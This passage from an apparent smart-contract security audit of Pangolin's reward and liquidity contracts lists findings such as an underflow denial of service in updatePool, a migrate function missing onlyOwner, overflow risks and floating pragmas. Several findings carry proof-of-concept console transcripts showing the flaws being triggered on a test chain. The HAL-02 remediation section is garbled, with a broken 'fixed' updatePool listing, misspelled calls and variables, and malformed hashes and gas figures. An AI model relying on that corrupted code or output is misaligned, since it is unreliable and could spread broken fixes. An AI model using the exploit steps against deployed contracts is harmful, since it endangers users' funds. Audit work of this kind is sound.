476 function extendRewardsViaDuration(uint256 extension, uint256 maxFunding) external {
477     require(extension > 0, "MiniChefV2: extension duration cannot be zero");
478
479     uint256 fundingRequired = rewardPerSecond.mul(extension);
480     require(fundingRequired <= maxFunding, "MiniChefV2: insufficient funding limit");
481
482     rewardsExpiration = rewardsExpiration.add(extension);
483
484     REWARD.safeTransferFrom(msg.sender, address(this), fundingRequired);
485
486     emit LogRewardsExpiration(rewardsExpiration);
487 }
488 }

```

## 3.2 (HAL-02) INCORRECT LOGIC IN MINICHEFV2 LEADS TO DOS - HIGH

### Description:

In the contract `MiniChefV2` the function `deposit` allows any user to deposit LP tokens into a pool. On the other hand, the function `fundRewards` allows the owner of the contract and the funders to set up some rewards for those users that had deposited tokens into the contract. There is a logic flaw in the `updatePool` that causes a partial Denial of Service under the following circumstances:

1. Contract `MiniChefV2` is deployed.
2. Pool/pools are added by the owner of the contract.
3. A random user calls `deposit` function, for example depositing 1000 tokens into pool id 0.
4. Owner tries to call `fundRewards` function but it reverts (underflow).

### Proof of Concept:

```
>>> minichef = owner.deploy(MiniChefV2, sushi_address, owner_address)
Transaction sent: 0xf35c3946497730a62aee1982ec74b090ab2006ac3bf6ac43f0f6049773feca79
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 28
MiniChefV2.constructor confirmed Block: 13415725 Gas used: 2862582 (42.59%)
MiniChefV2 deployed at: 0x2470DE8f3C3c1a6766A82a9f9568A6fD4ac7ba51c

>>> rewarder1 = owner.deploy(RewarderSimple, 5000000000000000000, sushi_address, minichef_address)
Transaction sent: 0xd7958f38c5c10a3e3589131879db24ef9aa2f6c149cbb827f7cbe75840e43
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 29
RewarderSimple.constructor confirmed Block: 13415726 Gas used: 395545 (5.88%)
RewarderSimple deployed at: 0xcAaB7E787973f40fEE7669e48C2B3211c9d0642

>>> minichef.addPool(100, lpToken1_address, rewarder1_address)
Transaction sent: 0x2711a9f0eef30a8d1cc4700b9f567239388efa5aa391bd5a7e559242ec29203
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 30
MiniChefV2.addPool confirmed Block: 13415727 Gas used: 196611 (2.91%)

<Transaction '0x2711a9f0eef30a8d1cc4700b9f567239388efa5aa391bd5a7e559242ec29203'>
>>> lpToken1.approve(minichef_address, 1000, {'from': user1_address})
Transaction sent: 0x0ac73ed4fb245a59725416fba4f42b64f1342fac48e5ded4e8faea6c51716b45
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
lpToken1.approve confirmed Block: 13415728 Gas used: 44126 (0.66%)

<Transaction '0x0ac73ed4fb245a59725416fba4f42b64f1342fac48e5ded4e8faea6c51716b45'>
>>> minichef.deposit(0, 1000, user1_address, {'from': user1_address})
Transaction sent: 0xec4d93d1a28bbf1c0258e3b8a361176b9971d30d27acb7daefc0b4e05a31da91
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
MiniChefV2.deposit confirmed Block: 13415729 Gas used: 89855 (1.34%)

<Transaction '0xec4d93d1a28bbf1c0258e3b8a361176b9971d30d27acb7daefc0b4e05a31da91'>
>>> sushi.approve(minichef_address, 10000000000000000000, {'from': owner_address})
Transaction sent: 0x8ed1556d20c15cf74cc22cdd59be495990463f718aaa2a6e81134fe039a551ed
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 32
SUSHI.approve confirmed Block: 13415730 Gas used: 44186 (0.66%)

<Transaction '0x8ed1556d20c15cf74cc22cdd59be495990463f718aaa2a6e81134fe039a551ed'>
>>> sushi.transfer(minichef_address, 10000000000000000000, {'from': owner_address})
Transaction sent: 0x8ed1556d20c15cf74cc22cdd59be495990463f718aaa2a6e81134fe039a551ed
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 32
SUSHI.transfer confirmed Block: 13415731 Gas used: 36075 (0.54%)

<Transaction '0x8ed1556d20c15cf74cc22cdd59be495990463f718aaa2a6e81134fe039a551ed'>
>>> tx = minichef.fundRewards(10000000000000000000, 8e400, {'from': owner_address})
Transaction sent: 0x8ed1556d20c15cf74cc22cdd59be495990463f718aaa2a6e81134fe039a551ed
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 33
MiniChefV2.fundRewards confirmed (BoringMath: Underflow) Block: 13415732 Gas used: 44973 (0.67%)
```



Internally, the function `fundRewards` performs a `SUSHI.safeTransfer` and then calls `massUpdateAllPools` function, which, at the same time, calls `updatePool` function.

After the user1's initial deposit of 1000 tokens, `lpSupply` variable is higher than 0, entering the `if`. Since the contract was just deployed and `fundRewards` was never called, the state variable `rewardsExpiration` still equals to 0, which means that `block.timestamp` will always be `>= rewardsExpiration`.

This causes the line `rewardsExpiration.sub(pool.lastRewardTime);` to be executed. As no `uint` can be lower than 0, this operation reverts with an underflow.

Code Location:

Listing 4: MiniChefV2.sol - function `updatePool` (Lines 261)

```

254 function updatePool(uint256 pid) public returns (PoolInfo memory
    pool) {
255     pool = poolInfo[pid];
256     if (block.timestamp > pool.lastRewardTime) {
257         uint256 lpSupply = lpToken[pid].balanceOf(address(this));
258         if (lpSupply > 0) {
259             uint256 time = block.timestamp <= rewardsExpiration
260                 ? block.timestamp.sub(pool.lastRewardTime)
261                 : rewardsExpiration.sub(pool.lastRewardTime);
262             uint256 sushiReward = time.mul(sushiPerSecond).mul(
                pool.allocPoint) / totalAllocPoint;
263             pool.accSushiPerShare = pool.accSushiPerShare.add((
                sushiReward.mul(ACC_SUSHI_PRECISION) / lpSupply).
                to128());
264         }
265         pool.lastRewardTime = block.timestamp.to64();
266         poolInfo[pid] = pool;
267         emit PoolUpdate(pid, pool.lastRewardTime, lpSupply, pool.
            accSushiPerShare);
268     }
269 }

```

Risk Level:

Likelihood - 4

Impact - 4

Recommendation:

It is recommended to modify the `updatePool` function to take into account this edge case.

Remediation Plan:

**SOLVED:** `Pangolin team` solved this issue. This edge case was handled with the following code. At the left, the old code and at the right, the fixed code:

<pre> 251 /// @notice Update reward variables of the given pool. 252 /// @param pid The index of the pool. See "poolInfo". 253 /// @return pool Returns the pool that was updated. 254 function updatePool(uint256 pid) public returns (PoolInfo memory pool) { 255     pool = poolInfo[pid]; 256     if (block.timestamp &gt; pool.lastRewardTime) { 257         uint256 lpSupply = lpToken[pid].balanceOf(address(this)); 258         if (lpSupply &gt; 0) { 259             uint256 time = block.timestamp &lt;- rewardsExpiration 260                 ? block.timestamp.sub(pool.lastRewardTime) 261                 : rewardsExpiration.sub(pool.lastRewardTime); 262             uint256 sushiReward = time.mul(sushiPerSecond).mul(pool.allocPoint) / totalAllocPoint; 263             pool.accSushiPerShare = pool.accSushiPerShare.add(sushiReward.mul(ACC_SUSHI_PRECISION)); 264         } 265         pool.lastRewardTime = block.timestamp.to64(); 266         poolInfo[pid] = pool; 267         emit PoolUpdate(pid, pool.lastRewardTime, lpSupply, pool.accSushiPerShare); 268     } 269 }                 </pre>	<pre> 258 /// @notice Update reward variables of the given pool. 259 /// @param pid The index of the pool. See "poolInfo". 260 /// @return pool Returns the pool that was updated. 261 function updatePool(uint256 pid) public returns (PoolInfo memory pool) { 262     pool = poolInfo[pid]; 263     if (block.timestamp &gt; pool.lastRewardTime) { 264         uint256 lpSupply = lpToken[pid].balanceOf(address(this)); 265         if (lpSupply &gt; 0) { 266             uint256 time = block.timestamp &lt;- rewardsExpiration 267                 ? block.timestamp.sub(pool.lastRewardTime) // Accrue rewards until now 268                 : rewardsExpiration &gt; pool.lastRewardTime 269                 ? rewardsExpiration.sub(pool.lastRewardTime) // Accrue rewards until expiration 270                 : 0; // No rewards to accrue 271             uint256 reward = time.mul(rewardPerSecond).mul(pool.allocPoint) / totalAllocPoint; 272             pool.accRewardPerShare = pool.accRewardPerShare.add((reward.mul(ACC_REWARD_PRECISION)) / 273         ) 274         pool.lastRewardTime = block.timestamp.to64(); 275         poolInfo[pid] = pool; 276         emit PoolUpdate(pid, pool.lastRewardTime, lpSupply, pool.accRewardPerShare); 277     } 278 }                 </pre>
---	--

We can see, how in the fixed code, the edge case is taken into account. When `block.timestamp > rewardsExpiration` and `rewardsExpiration <= pool.lastRewardTime` time will be set to zero avoiding the previous underflow. Below we can see the execution of this edge case and how now is correctly handled:

```

>>> minichef = owner.deploy(MiniChefV22, sushi.address, owner.address)
Transaction sent: 0x687011800909112049c0d7119300049770c0130ea531254a6920a2d0e
Gas price: 0.0 gwei Gas limit: 6721975 Mnonce: 16
MiniChefV22.constructor confirmed Block: 13475211 Gas used: 2899456 (42.95k)
MiniChefV22 deployed at: 0x262d4647f3a787c9923a0830a820b0ab0c13

>>> rewarder1 = owner.deploy(RewarderSingle, 5000000000000000, sushi.address, 18, minichef.address)
Transaction sent: 0x31e0000000000000000000000000000000000000000000000000000000000000
Gas price: 0.0 gwei Gas limit: 6721975 Mnonce: 16
RewarderSingle.constructor confirmed Block: 13475212 Gas used: 409789 (6.10k)
RewarderSingle deployed at: 0x262d4647f3a787c9923a0830a820b0ab0c13

>>> minichef.addPool(100, lpToken.address, rewarder1.address)
Transaction sent: 0x55712e6f9a76cb7856adaab231beb80f4985cfbb1e7130230c170e724e0f0
Gas price: 0.0 gwei Gas limit: 6721975 Mnonce: 17
MiniChefV22.addPool confirmed Block: 13475213 Gas used: 195611 (2.91k)
<Transaction "0x55712e6f9a76cb7856adaab231beb80f4985cfbb1e7130230c170e724e0f0">
>>> lpToken.approve(minichef.address, 1000, {from: user1.address})
Transaction sent: 0x10a71300e060c010a22010322001070c0be2f0bb07e0b0eac39237
Gas price: 0.0 gwei Gas limit: 6721975 Mnonce: 0
lpToken.approve confirmed Block: 13475214 Gas used: 46126 (0.66k)
                
```

```
<Transaction '0a10e4752d0eaf884121c7a93283917b7c0b0e9f8b8b07f6b0eeac39287'>
>>> minichef.deposit(0, 1000, user1.address, {'from': user1.address})
Transaction sent: 0a81df78ee8992f14e1541312cfc041b7a70e33070c0d0e2d307ed054e
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
MinichefV22.deposit confirmed Block: 13475215 Gas used: 8993 (1.34)

<Transaction '0a81df78ee8992f14e1541312cfc041b7a70e33070c0d0e2d307ed054e'>
>>> suahi.approve(minichef.address, 10000000000000000000, {'from': owner.address})
Transaction sent: 0a6948b0c0a0994813aace92af2c0d0e7b0a5d6c0ec0f93d9132e7f05e
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 18
MinichefV22.approve confirmed Block: 13475216 Gas used: 4106 (0.64)

<Transaction '0a6948b0c0a0994813aace92af2c0d0e7b0a5d6c0ec0f93d9132e7f05e'>
>>> minichef.funRewards(1000000000000000, 8460, {'from': owner.address})
Transaction sent: 0a0066e5f313c25d0e70b861b70b64d12328f597bd6010138372735f60e
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 19
MinichefV22.funRewards confirmed Block: 13475217 Gas used: 127697 (1.904)

<Transaction '0a0066e5f313c25d0e70b861b70b64d12328f597bd6010138372735f60e'>
>>> output.yellow("Sleeping 43200 seconds...")
chain.sleep(43200)
chain.mine(1)
output.yellow("Call -> minichef.harvest(0, user1.address, {'from': user1.address})")
minichef.harvest(0, user1.address, {'from': user1.address})
output.red(str(suahi.balanceOf(user1.address)) -> " " + str(lpsokeni.balanceOf(user1.address)))
output.red(str(suahi.balanceOf(user1.address)) -> " " + str(suahi.balanceOf(user1.address)))
output.green(str(suahi.balanceOf(minichef.address)) -> " " + str(suahi.balanceOf(minichef.address)))
Sleeping 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0a0e397a109176c364538e36d0c9a89227767010a93ac02194758c4f60d1
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
MinichefV22.harvest confirmed Block: 13475219 Gas used: 7055 (1.064)

lpsokeni.balanceOf(user1.address) -> 0
suahi.balanceOf(user1.address) -> 50012934914811614
suahi.balanceOf(minichef.address) -> 49837688918318336
>>> output.yellow("Sleeping 43200 seconds...")
chain.sleep(43200)
chain.mine(1)
output.yellow("Call -> minichef.harvest(0, user1.address, {'from': user1.address})")
minichef.harvest(0, user1.address, {'from': user1.address})
output.red(str(suahi.balanceOf(user1.address)) -> " " + str(lpsokeni.balanceOf(user1.address)))
output.red(str(suahi.balanceOf(user1.address)) -> " " + str(suahi.balanceOf(user1.address)))
output.green(str(suahi.balanceOf(minichef.address)) -> " " + str(suahi.balanceOf(minichef.address)))
Sleeping 43200 seconds...
Call -> minichef.harvest(0, user1.address, {'from': user1.address})
Transaction sent: 0a07161602f44efee1181079a0000212770a13070e0d011a220f32374ef
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 3
MinichefV22.harvest confirmed Block: 13475221 Gas used: 72610 (1.084)

lpsokeni.balanceOf(user1.address) -> 0
suahi.balanceOf(user1.address) -> 39922959595953200
suahi.balanceOf(minichef.address) -> 4400
```

### 3.3 (HAL-03) LACK OF INTEGER OVERFLOW/UNDERFLOW PROTECTION – MEDIUM

#### Description:

In computer programming, an integer overflow occurs when an arithmetic operation attempts to create a numeric value that is outside of the range that can be represented with a given number of bits, either larger than the maximum or lower than the minimum value. Some of the operations in the contracts are using `SafeMath` correctly, other operations are not using `SafeMath` but make use of some of the `SafeMath` functions and others do not use any kind of `SafeMath` making the operations vulnerable to overflows and underflows.

#### Code Location:

#### LiquidityPoolManager – Overflow

Listing 5: LiquidityPoolManager.sol (Lines 268,278)

```
245 function calculateReturns() public {
246     require(!readyToDistribute, 'LiquidityPoolManager::
        calculateReturns: Previous returns not distributed. Call
        distributeTokens()');
247     require(unallocatedPng > 0, 'LiquidityPoolManager::
        calculateReturns: No PNG to allocate. Call vestAllocation()
        .');
248     if (pngPairs.length() > 0) {
249         require(!(avaxPngPair == address(0)), '
            LiquidityPoolManager::calculateReturns: Avax/PNG Pair
            not set');
250     }
251
252     // Calculate total liquidity
253     distribution = new uint[](numPools);
254     uint totalLiquidity = 0;
255
```

```

256 // Add liquidity from AVAX pairs
257 for (uint i = 0; i < avaxPairs.length(); i++) {
258     uint pairLiquidity = getAvaxLiquidity(avaxPairs.at(i));
259     distribution[i] = pairLiquidity;
260     totalLiquidity = SafeMath.add(totalLiquidity,
        pairLiquidity);
261 }
262
263 // Add liquidity from PNG pairs
264 if (pngPairs.length() > 0) {
265     uint conversionRatio = getAvaxPngRatio();
266     for (uint i = 0; i < pngPairs.length(); i++) {
267         uint pairLiquidity = getPngLiquidity(pngPairs.at(i),
            conversionRatio);
268         distribution[i + avaxPairs.length()] = pairLiquidity;
269         totalLiquidity = SafeMath.add(totalLiquidity,
            pairLiquidity);
270     }
271 }
272
273 // Calculate tokens for each pool
274 uint transferred = 0;
275 for (uint i = 0; i < distribution.length; i++) {
276     uint pairTokens = distribution[i].mul(unallocatedPng).div(
        totalLiquidity);
277     distribution[i] = pairTokens;
278     transferred = transferred + pairTokens;
279 }
280 readyToDistribute = true;
281 }

```

#### LiquidityPoolManager - Underflow 1

##### Listing 6: LiquidityPoolManager.sol (Lines 296)

```

287 function distributeTokens() public nonReentrant {
288     require(readyToDistribute, 'LiquidityPoolManager::
        distributeTokens: Previous returns not allocated. Call
        calculateReturns()');
289     readyToDistribute = false;
290     address stakeContract;
291     uint rewardTokens;
292     for (uint i = 0; i < distribution.length; i++) {

```

```

293     if (i < avaxPairs.length()) {
294         stakeContract = stakes[avaxPairs.at(i)];
295     } else {
296         stakeContract = stakes[pngPairs.at(i - avaxPairs.
                length())];
297     }
298     rewardTokens = distribution[i];
299     if (rewardTokens > 0) {
300         require(IPNG(png).transfer(stakeContract, rewardTokens
                ), 'LiquidityPoolManager::distributeTokens:
                Transfer failed');
301         StakingRewards(stakeContract).notifyRewardAmount(
                rewardTokens);
302     }
303 }
304 unallocatedPng = 0;
305 }

```

### LiquidityPoolManager - Underflow 2

Listing 7: LiquidityPoolManager.sol (Lines 322)

```

314 function distributeTokensSinglePool(uint pairIndex) external
    nonReentrant {
315     require(readyToDistribute, 'LiquidityPoolManager::
        distributeTokensSinglePool: Previous returns not allocated.
        Call calculateReturns()');
316     require(pairIndex < numPools, 'LiquidityPoolManager::
        distributeTokensSinglePool: Index out of bounds');
317
318     address stakeContract;
319     if (pairIndex < avaxPairs.length()) {
320         stakeContract = stakes[avaxPairs.at(pairIndex)];
321     } else {
322         stakeContract = stakes[pngPairs.at(pairIndex - avaxPairs.
                length())];
323     }
324
325     uint rewardTokens = distribution[pairIndex];
326     if (rewardTokens > 0) {
327         distribution[pairIndex] = 0;
328         require(IPNG(png).transfer(stakeContract, rewardTokens), '
                LiquidityPoolManager::distributeTokens: Transfer failed

```

```
        ');  
329         StakingRewards(stakeContract).notifyRewardAmount(  
            rewardTokens);  
330     }  
331 }
```

- Same overflows/underflows are also present in [LiquidityPoolManagerV2.sol](#).
- Some mathematical operations in [MiniChefV2.sol](#), [PNG.sol](#) and [TreasuryVester.sol](#) are not making use of [SafeMath](#) making them vulnerable as well (see MythX output).

#### Risk Level:

**Likelihood - 3**

**Impact - 3**

#### Recommendation:

Currently not all the smart contracts and the operations within them are using the [SafeMath](#) library which makes some operations vulnerable to overflows/underflows. In those contracts with Solidity versions [<0.8.0](#) it is recommended to use the [SafeMath](#) library for arithmetic operations consistently throughout **ALL** the mathematical operations in the smart contract system.

#### Reference:

[Ethereum Smart Contract Best Practices - Integer Overflow and Underflow](#)

#### Remediation Plan:

**SOLVED:** [Pangolin team](#) successfully protected the overflow/underflow vulnerable functions.

## 3.4 (HAL-04) FUNCTION MIGRATE MISSING ONLYOWNER MODIFIER – MEDIUM

### Description:

In the contract `MiniChefV2.sol` the function `migrate()` allows migrating LP tokens to another LP contract through the `migrator` contract.

Listing 8: `MiniChefV2.sol` – migrate functions (Lines 189,203,204,205)

```

188 function setMigrator(IMigratorChef _migrator) public onlyOwner {
189     require(!migrationDisabled, "MiniChefV2: migration has been
        disabled");
190     migrator = _migrator;
191     emit MigratorSet(address(_migrator));
192 }
193
194 /// @notice Permanently disable the `migrator` functionality.
195 /// This can only effectively be called once.
196 function disableMigrator() public onlyOwner {
197     migrationDisabled = true;
198     emit MigratorDisabled();
199 }
200
201 /// @notice Migrate LP token to another LP contract through the `
        migrator` contract.
202 /// @param _pid The index of the pool. See `poolInfo`.
203 function migrate(uint256 _pid) public {
204     require(!migrationDisabled, "MiniChefV2: migration has been
        disabled");
205     require(address(migrator) != address(0), "MiniChefV2: no migrator
        set");
206     IERC20 _lpToken = lpToken[_pid];
207     uint256 bal = _lpToken.balanceOf(address(this));
208     _lpToken.approve(address(migrator), bal);
209     IERC20 newLpToken = migrator.migrate(_lpToken);
210     require(bal == newLpToken.balanceOf(address(this)), "MiniChefV2:
        migrated balance must match");
211     lpToken[_pid] = newLpToken;
212     emit Migrate(_pid);

```



213 }

As we can see, `migrate` function can be called by anyone as long as `migrationDisabled` equals `False` and `migrator` address is set. Initially, after the contract deployment, `migrationDisabled` is already initialized with the value `False` and the `migrator` address would equal to `address(0)`.

```
49 MigratorChef public migrator;
50 bool public migrationDisabled;
```

This means that as soon as the function `setMigrator` is called by the owner of the contract setting the `migrator` address, anyone would be able to call the `migrate` function.

```
>>> minichef.migrationDisabled()
False
>>> minichef.migrator()
'0x0000000000000000000000000000000000000000'
>>> tx = minichef.migrate(0, ('from': user2.address))
Transaction sent: 0xfbd4d03alcda4833c8c9035652f2a33d42b3873e8196f9ebf088fcl3bedel7e94
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
MiniChefV22.migrate confirmed (MiniChefV2: no migrator set) Block: 13411939 Gas used: 23286 (0.35%)

>>> minichef.setMigrator(migrator.address)
Transaction sent: 0x6ce1682c6283e54ebd5258ae3ff44b0489fb315b3f5fa7e8037e9317977a22bb
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 41
MiniChefV22.setMigrator confirmed Block: 13411940 Gas used: 45491 (0.68%)

<Transaction '0x6ce1682c6283e54ebd5258ae3ff44b0489fb315b3f5fa7e8037e9317977a22bb'>
>>> tx = minichef.migrate(0, ('from': user2.address))
Transaction sent: 0x59d6ac46159a0cda0d3a684b182ed8d72695bc9f3af5c759d1d3d0d0c8d9837c
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 3
MiniChefV22.migrate confirmed Block: 13411941 Gas used: 47934 (0.71%)
```

**Risk Level:**

**Likelihood - 2**

**Impact - 4**

**Recommendation:**

It is recommended to add the `onlyOwner` modifier also to the `migrate` function.

**Remediation Plan:**

**SOLVED:** Pangolin team added the `onlyOwner` modifier to the `migrate` function.

## 3.5 (HAL-05) IMPRECISION IN REWARD DISTRIBUTION - LOW

### Description:

The contract `StakingRewards.sol` allows the users that previously had deposited some tokens to withdraw them and claim some PNG tokens as a reward. The function `getRewardForDuration()` shows how many PNG tokens will be given as a reward. Due to some imprecision in the calculation of the rewards, the users will receive less PNG tokens than the actual amount deserved. For example:

```
>>> vestAmount = 1000000000000000000
>>> png.transfer(stakingRewards.address, vestAmount)
Transaction sent: 0x0c9778a9e0b0afd6599267302532110f7aebc93a15bf2e839b3038dc2723e45a
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 12
Png.transfer confirmed Block: 13390394 Gas used: 55734 (0.83%)

<Transaction '0x0c9778a9e0b0afd6599267302532110f7aebc93a15bf2e839b3038dc2723e45a'>
>>> stakingRewards.notifyRewardAmount(vestAmount)
Transaction sent: 0xeebdc77a65d079d784c32d8288467bc6cb4096ac8f0675e0a044d152bf27c42
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 13
StakingRewards.notifyRewardAmount confirmed Block: 13390395 Gas used: 33501 (0.50%)

<Transaction '0xeebdc77a65d079d784c32d8288467bc6cb4096ac8f0675e0a044d152bf27c42'>
>>> stakingRewards.rewardRate()
1.1574074074074e+16
>>> vestAmount/86400
1.1574074074074e+16
>>> stakingRewards.getRewardForDuration()
86400
>>> 11574074074074074 * 86400
864000000000000000
>>> (vestAmount/86400) * 86400
1000000000000000000
```

### Risk Level:

**Likelihood - 3**

**Impact - 2**

### Recommendation:

It is recommended to define some precision values as constants at the beginning of the contracts and use them in the mathematical operations in order to avoid/reduce the loss of precision.

### Remediation Plan:

**RISK ACCEPTED:** Pangolin team accepts this risk.

## 3.6 (HAL-06) MISSING ZERO ADDRESS CHECK - LOW

### Description:

Some constructors and functions are missing address validation. Every address should be validated and checked that is different than zero.

### Code location:

#### Airdrop.sol

- constructor(address png\_, address uni\_, address sushi\_, address owner\_, address remainderDestination\_)
- function setRemainderDestination(address remainderDestination\_)
- function setowner(address owner\_)
- function whitelistAddress(address addr, uint96 pngOut)
- function whitelistAddresses(address[] memory addr, uint96[] memory pngOuts)

#### CommunityTreasure.sol

- constructor(address png\_)

#### GovernorAlpha.sol

- constructor(address timelock\_, address png\_, address guardian\_)

#### MiniChefV2.sol

- constructor(IERC20 \_sushi, address \_firstOwner)
- function deposit(uint256 pid, uint256 amount, address to)
- function withdraw(uint256 pid, uint256 amount, address to)
- function harvest(uint256 pid, address to)
- function withdrawAndHarvest(uint256 pid, uint256 amount, address to)
- function emergencyWithdraw(uint256 pid, address to)
- function addFunder(address \_funder)
- function removeFunder(address \_funder)

### PNG.sol

- constructor(address account)
- function delegate(address delegatee)
- function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s)

### PangolinVoteCalculator.sol

- constructor(address \_png, address \_liquidityManager)
- function changeLiquidityPoolManager(address \_liquidityManager)

### RewarderComplex.sol

- constructor (IERC20 \_rewardToken, uint256 \_tokenPerBlock, address \_MASTERCHEF\_V2)
- function onSushiReward (uint256 pid, address \_user, address to, uint256, uint256 lpToken)
- function pendingTokens(uint256 pid, address user, uint256)
- function pendingToken(uint256 \_pid, address \_user)

### RewarderSimple.sol

- constructor (uint256 \_rewardMultiplier, IERC20 \_rewardToken, address \_MASTERCHEF\_V2)
- function onSushiReward (uint256, address user, address to, uint256 sushiAmount, uint256)

### StakingRewards.sol

- constructor
- function recoverERC20(address tokenAddress, uint256 tokenAmount)

### Timelock.sol

- constructor(address admin\_, uint delay\_)
- function setPendingAdmin(address pendingAdmin\_)
- function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta)
- function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta)
- function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta)

TreasuryVester.sol

- constructor(address png\_)

TreasuryVesterProxy.sol

- constructor(address \_png, address \_treasuryVester, address \_treasury, address \_chef)

Risk Level:

Likelihood - 3

Impact - 2

Recommendation:

It is recommended to validate that every address input is different than zero.

Remediation Plan:

RISK ACCEPTED: Pangolin team accepts this risk.

## 3.7 (HAL-07) FLOATING PRAGMA - LOW

### Description:

Contracts should be deployed with the same compiler version and flags used during development and testing. Locking the pragma helps to ensure that contracts do not accidentally get deployed using another pragma. For example, an outdated pragma version might introduce bugs that affect the contract system negatively or recently released pragma versions may have unknown security vulnerabilities.

### Code Location:

#### Listing 9

```
1 TreasuryVesterProxy.sol:1:pragma solidity 0.8.0;
2 StakingRewards.sol:1:pragma solidity ^0.7.6;
3 RewarderComplex.sol:3:pragma solidity 0.6.12;
4 Timelock.sol:1:pragma solidity ^0.5.16;
5 CommunityTreasury.sol:1:pragma solidity ^0.7.6;
6 GovernorAlpha.sol:1:pragma solidity ^0.5.16;
7 LiquidityPoolManagerV2.sol:1:pragma solidity ^0.7.6;
8 RewarderSimple.sol:3:pragma solidity 0.6.12;
9 PNG.sol:1:pragma solidity ^0.5.16;
10 LiquidityPoolManager.sol:1:pragma solidity ^0.7.6;
11 MiniChefV2.sol:3:pragma solidity 0.6.12;
12 PangolinVoteCalculator.sol:1:pragma solidity 0.8.0;
13 Airdrop.sol:2:pragma solidity ^0.8.0;
14 TreasuryVester.sol:1:pragma solidity ^0.7.6;
```

### Risk Level:

**Likelihood - 1**

**Impact - 3**

## Recommendation:

Consider locking the pragma version. It is not recommended to use a floating pragma in production. It is possible to lock the pragma by fixing the version both in `truffle-config.js` for Truffle framework or in `hardhat.config.js` for HardHat framework.

## Remediation Plan:

**SOLVED:** The version was locked in the `hardhat.config.js` file.

## 3.8 (HAL-08) DEPRECATED PRAGMA VERSION OF SOLC - LOW

### Description:

The pragma versions of Solc used by the smart contracts are:

- ^0.5.16
- 0.6.12
- ^0.7.6
- ^0.8.0

While the old versions are still functional, and most security issues are mitigated by using other utility contracts such as `SafeMath.sol`, the risk to the long-term sustainability and integrity of the solidity code increases.

### Risk Level:

**Likelihood - 1**

**Impact - 3**

### Recommendation:

At the time of this audit, the current version is already at 0.8. When possible, use the updated pragma versions to take advantage of new features, for example, after the `Solidity version 0.8.0` Arithmetic operations revert on underflow and overflow by default. By using this version, utility contracts like `SafeMath.sol` would not be needed.

### Remediation Plan:

**RISK ACCEPTED:** `Pangolin team` accepts this risk.



## 3.9 (HAL-09) EXPERIMENTAL FEATURES ENABLED - LOW

### Description:

The use of experimental features could be dangerous on live deployments. The experimental ABI encoder does not handle non-integer values shorter than 32 bytes properly. This applies to bytesNN types, bool, enum and other types when they are part of an array or a struct and encoded directly from storage. This means these storage references have to be used directly inside `abi.encode( . . . )` as arguments in external function calls or in event data without prior assignment to a local variable. Using `return` does not trigger the bug. The types bytesNN and bool will result in corrupted data while enum might lead to an invalid revert.

Furthermore, arrays with elements shorter than 32 bytes may not be handled correctly even if the base type is an integer type. Encoding such arrays in the way described above can lead to other data in the encoding being overwritten if the number of elements encoded is not a multiple of the number of elements that fit a single slot. If nothing follows the array in the encoding (note that dynamically-sized arrays are always encoded after statically-sized arrays with statically-sized content), or if only a single array is encoded, no other data is overwritten. There are known bugs that are publicly released while using this feature. However, the bug only manifests itself when all the following conditions are met:

1. Storage data involving arrays or structs is sent directly to an external function call, to `abi.encode` or to event data without prior assignment to a local (memory) variable.
2. There is an array that contains elements with size less than 32 bytes or a struct that has elements that share a storage slot or members of type bytesNN shorter than 32 bytes.

In addition to that, in the following situations, your code is NOT affected:

1. If all the structs or arrays only use uint256 or int256 types.
2. If you only use integer types (that may be shorter) and only encode at most one array at a time.
3. If you only return such data and do not use it in abi.encode, external calls or event data.

ABIEncoderV2 is enabled to be able to pass struct type into a function both web3 and another contract. Naturally, any bug can have wildly varying consequences depending on the program control flow, but we expect that this is more likely to lead to malfunction than exploitability. The bug, when triggered, will under certain circumstances send corrupt parameters on method invocations to other contracts.

#### Reference:

<https://blog.ethereum.org/2019/03/26/solidity-optimizer-and-abiencoderv2-bug/>

#### Code Location:

##### Listing 10

```
1 RewarderComplex.sol:4:pragma experimental ABIEncoderV2;  
2 GovernorAlpha.sol:2:pragma experimental ABIEncoderV2;  
3 PNG.sol:2:pragma experimental ABIEncoderV2;  
4 MiniChefV2.sol:4:pragma experimental ABIEncoderV2;
```

#### Risk Level:

**Likelihood - 1**

**Impact - 3**

#### Recommendation:

When possible, do not use experimental features in the final live deployment. Validate and check that all the conditions above are true for integers and arrays (i.e. all using uint256).

Remediation Plan:

**RISK ACCEPTED:** Pangolin team accepts this risk.

## 3.10 (HAL-10) EXTERNAL CALLS WITHIN A LOOP - LOW

### Description:

Calls inside a loop might lead to a Denial of Service attack. If the `i` variable iterates up to a very high value or is reset by the external functions called, this could cause a Denial of Service.

### Code Location:

MiniChefV2.sol

Listing 11: MiniChefV2.sol (Lines 238,239,246,247)

```

236 function massUpdatePools(uint256[] calldata pids) external {
237     uint256 len = pids.length;
238     for (uint256 i = 0; i < len; ++i) {
239         updatePool(pids[i]);
240     }
241 }
242
243 /// @notice Update reward variables for all pools. Be careful of
    gas spending!
244 function massUpdateAllPools() public {
245     uint256 len = poolInfo.length;
246     for (uint256 pid = 0; pid < len; ++pid) {
247         updatePool(pid);
248     }
249 }

```

LiquidityPoolManager.sol

Listing 12: LiquidityPoolManager.sol (Lines 292,300,301)

```

287 function distributeTokens() public nonReentrant {
